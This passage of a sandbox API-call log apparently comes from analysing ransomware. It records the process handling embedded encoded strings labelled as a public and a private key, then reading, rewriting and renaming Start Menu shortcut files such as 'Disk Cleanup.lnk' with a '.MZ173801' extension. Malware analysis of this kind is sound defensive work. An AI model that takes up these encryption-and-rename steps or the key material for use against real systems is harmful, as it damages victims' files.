q8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0213.370] GetCurrentThreadId () returned 0xab4 [0213.370] GetCurrentThreadId () returned 0xab4 [0213.370] GetCurrentThreadId () returned 0xab4 [0213.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.371] GetCurrentThreadId () returned 0xab4 [0213.371] GetCurrentThreadId () returned 0xab4 [0213.371] GetCurrentThreadId () returned 0xab4 [0213.371] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.371] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.371] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.371] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x45c [0213.371] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.371] ReadFile (in: hFile=0x330, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0x45c, lpOverlapped=0x0) returned 1 [0213.404] CloseHandle (hObject=0x330) returned 1 [0213.404] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.405] WriteFile (in: hFile=0x330, lpBuffer=0x24cae00*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24cae00*, lpNumberOfBytesWritten=0x19f48c*=0x45c, lpOverlapped=0x0) returned 1 [0213.406] CloseHandle (hObject=0x330) returned 1 [0213.406] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk.mz173801")) returned 1 [0213.410] GetCurrentThreadId () returned 0xab4 [0213.410] GetCurrentThreadId () returned 0xab4 [0213.410] GetCurrentThreadId () returned 0xab4 [0213.410] GetCurrentThreadId () returned 0xab4 [0213.437] GetCurrentThreadId () returned 0xab4 [0213.437] GetCurrentThreadId () returned 0xab4 [0213.437] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dc802b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dc802b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dc802b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Event Viewer.lnk", cAlternateFileName="")) returned 1 [0213.437] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.437] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.437] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31dc802b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x31dc802b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x31dc802b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x490)) returned 1 [0213.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\event viewer.lnk")) returned 0x20 [0213.438] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Event Viewer.lnk", dwFileAttributes=0x80) returned 1 [0213.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.441] GetCurrentThreadId () returned 0xab4 [0213.441] GetCurrentThreadId () returned 0xab4 [0213.441] GetCurrentThreadId () returned 0xab4 [0213.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.442] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.442] GetCurrentThreadId () returned 0xab4 [0213.442] GetCurrentThreadId () returned 0xab4 [0213.442] GetCurrentThreadId () returned 0xab4 [0213.442] 